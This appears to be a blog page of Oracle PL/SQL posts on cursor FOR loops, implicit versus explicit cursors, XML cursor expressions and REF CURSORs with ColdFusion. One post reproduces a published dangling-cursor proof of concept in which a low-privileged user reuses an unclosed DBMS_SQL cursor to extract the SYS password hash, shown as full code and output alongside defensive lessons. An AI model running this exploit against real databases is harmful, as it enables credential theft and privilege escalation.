5 Recommendations About Cursor FOR Loops in Oracle PL/SQL
A cursor FOR loop is a PL/SQL loop statement. It is a loop that is associated with a cursor embedded within the loop boundary.
There are two types of cursor FOR loops: SQL Cursor FOR loop and Explicit Cursor FOR Loop.
In SQL Cursor FOR loops, you include the text of a query directly in the FOR loop. For example:
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> set serverout on
SQL> BEGIN
2 FOR item IN
3 ( SELECT last_name, job_id
4 FROM employees
5 WHERE job_id LIKE '%CLERK%'
6 AND manager_id > 120 )
7 LOOP
8 DBMS_OUTPUT.PUT_LINE
9 ('Name = ' || item.last_name || ', Job = ' || item.job_id);
10 END LOOP;
11 END;
12 /
Name = OConnell, Job = SH_CLERK
Name = Grant, Job = SH_CLERK
Name = Bissot, Job = ST_CLERK
...
PL/SQL procedure successfully completed.
In Explicit Cursor FOR Loops, you declare a cursor that specifies a query, and then reference the cursor in the FOR loop. For example:
SQL> DECLARE
2 CURSOR c1 IS SELECT last_name, job_id FROM employees
3 WHERE job_id LIKE '%CLERK%' AND manager_id > 120;
4 BEGIN
5 FOR item IN c1
6 LOOP
7 DBMS_OUTPUT.PUT_LINE
8 ('Name = ' || item.last_name || ', Job = ' || item.job_id);
9 END LOOP;
10 END;
11 /
Name = OConnell, Job = SH_CLERK
Name = Grant, Job = SH_CLERK
Name = Bissot, Job = ST_CLERK
...
PL/SQL procedure successfully completed.
In both examples, you do not need to declare the record variable item, PL/SQL implicitly creates it for you with fields corresponding to the columns of the result set.
Steven Feuerstein gives us the following recommendations about cursor FOR loops which he learned from one of his mentors in the PL/SQL world, Bryn Llewellyn, Oracle’s PL/SQL product manager:
Never use a cursor FOR loop when you’re writing new code for normal production deployment in a multiuser application.
If you expect to retrieve just one row, use an implicit SELECT INTO query.
If you expect to retrieve multiple rows of data and you know the upper limit (as in, “I will never get more than 100 rows in this query”), use BULK COLLECT into a collection of type varray whose upper limit matches what you know about the query.
If you expect to retrieve multiple rows of data and you do not know the upper limit, use BULK COLLECT with a FETCH statement that relies on a LIMIT clause to ensure that you do not consume too much per-session memory.
If your existing code contains a cursor FOR loop, you should perform a cost-benefit analysis on converting that code, based on these recommendations.
Visit this page to read Steven’s full explanation and examples of each of the above recommendations.
In short, stop using cursor FOR loops and start using BULK COLLECT. It’s that simple.
Filed in Oracle, Tips with 20 Comments | Tags: bulk collect, cursor, loopCursors Again
Reading through other programmers’ code I often discover interesting things that sometimes I find hard to explain. For example, consider the following simple PL/SQL block:
DECLARE CURSOR emp_cur IS SELECT first_name FROM employees WHERE employee_id = 100; l_emp_name employees.first_name%TYPE; BEGIN IF emp_cur%ISOPEN THEN CLOSE emp_cur; END IF; OPEN emp_cur; FETCH emp_cur INTO l_emp_name; CLOSE emp_cur; END;
The PL/SQL package I was reviewing had the same exact pattern for every query. Basically, every query was declared as an explicit cursor and code similar to the above was used to open, fetch and close every cursor in the program.
I do not understand two things here: the need for an explicit cursor, and the need for this “IF cur%ISOPEN THEN CLOSE cur; END IF;” before “OPEN cur …. CLOSE cur“. Do you?
I would have coded the above like this:
DECLARE l_emp_name employees.first_name%TYPE; BEGIN SELECT first_name INTO l_emp_name FROM employees WHERE employee_id = 100; EXCEPTION WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.put_line ('Not found'); END;
In this example, since the employee_id is the primary key of the employees table, there is no need to code for the TOO_MANY_ROWS exception.
Andrew Clarke has a good post about implicit and explicit cursors in response to Misbah Jalil’s post about the same subject. And here is a virtual book about cursors in Oracle DB 10gR2.
Filed in Oracle with 7 Comments | Tags: cursor
See How To Hack Oracle Using Dangling Cursor Snarfing
David Litchfield published a paper demonstrating how an unclosed or dangling cursor created and used by DBMS_SQL can lead to a security hole.
I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database.
Connected as SYS:
SQL> CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS
2 cursor_name INTEGER;
3 v_pwd VARCHAR2(30);
4 i INTEGER;
5 BEGIN
6
7 IF p_user != 'SYS' THEN
8 cursor_name := dbms_sql.open_cursor;
9 DBMS_OUTPUT.PUT_LINE('CURSOR: ' || cursor_name);
10 dbms_sql.parse(cursor_name,
11 'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME = :u',
12 dbms_sql.native);
13 dbms_sql.bind_variable(cursor_name, ':u', p_user);
14 dbms_sql.define_column(cursor_name, 1, v_pwd, 30);
15 i := dbms_sql.EXECUTE(cursor_name);
16
17 IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
18 dbms_sql.column_value(cursor_name, 1, v_pwd);
19 END IF;
20
21 IF v_pwd = '0123456789ABCDEF' THEN
22 DBMS_OUTPUT.PUT_LINE('Hmmm....');
23 END IF;
24
25 dbms_sql.close_cursor(cursor_name);
26 END IF;
27
28 END;
29 /
Procedure created.
SQL> GRANT EXECUTE ON pwd_compare TO PUBLIC;
Grant succeeded.
Note that, in the code above, there is no exception handling so if there is an error before the cursor is closed then the cursor will be left dangling.
Now, let’s connect as HR, a lower privileged user than SYS, and execute the procedure pwd_compare making sure we generate an exception in it:
SQL> DECLARE x VARCHAR(32000);
2 i INTEGER;
3 BEGIN
4 FOR i IN 1 .. 10000
5 LOOP
6 x := 'B' || x;
7 END LOOP;
8
9 sys.pwd_compare(x);
10 END;
11 /
CURSOR: 6
DECLARE x VARCHAR(32000);
*
ERROR at line 1:
ORA-01460: unimplemented or unreasonable conversion requested
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1202
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.PWD_COMPARE", line 15
ORA-06512: at line 9
What we have now is a dangling cursor with an ID number of 6. Armed with this piece of information we can rebind the username associated with the query, using SYS, then re-execute the query and extract the password hash for the SYS user bypassing the logic in the procedure pwd_compare:
SQL> DECLARE cursor_name INTEGER;
2 i INTEGER;
3 pwd VARCHAR2(30);
4 BEGIN
5 cursor_name := 6;
6 dbms_sql.bind_variable(cursor_name, ':u', 'SYS');
7 dbms_sql.define_column(cursor_name, 1, pwd, 30);
8 i := dbms_sql.EXECUTE(cursor_name);
9
10 IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
11 dbms_sql.column_value(cursor_name, 1, pwd);
12 END IF;
13
14 dbms_sql.close_cursor(cursor_name);
15 DBMS_OUTPUT.PUT_LINE('PWD: ' || pwd);
16 END;
17 /
PWD: 586EEA79959C07B1
PL/SQL procedure successfully completed.
Interesting!
Lessons learned:
- Always perform extensive input validation.
- Always add exception handlers to your blocks.
- Always make sure to close your cursors.
Sources and resources:
- databasesecurity.com – Hacking Oracle
- SecurityFocus – BugTraq mailing list
- eWeek – Security Researcher: Beware Dangling Cursors in Oracle Code
Producing XML from SQL using cursor expressions
In this post I will show an example of how you can transform a query result into an XML document. I will also show how you can write a query that produces nested or multi-leveled XML document using cursor expressions. (more…)
Filed in Oracle, Tips with 6 Comments | Tags: cursor, expression, xmlOracle REF CURSOR and ColdFusion
So you have an Oracle function (not a procedure) that returns a REF CURSOR and you want to use that function in ColdFusion. That can be easily done using <cfstoredproc>. Here is an example: (more…)
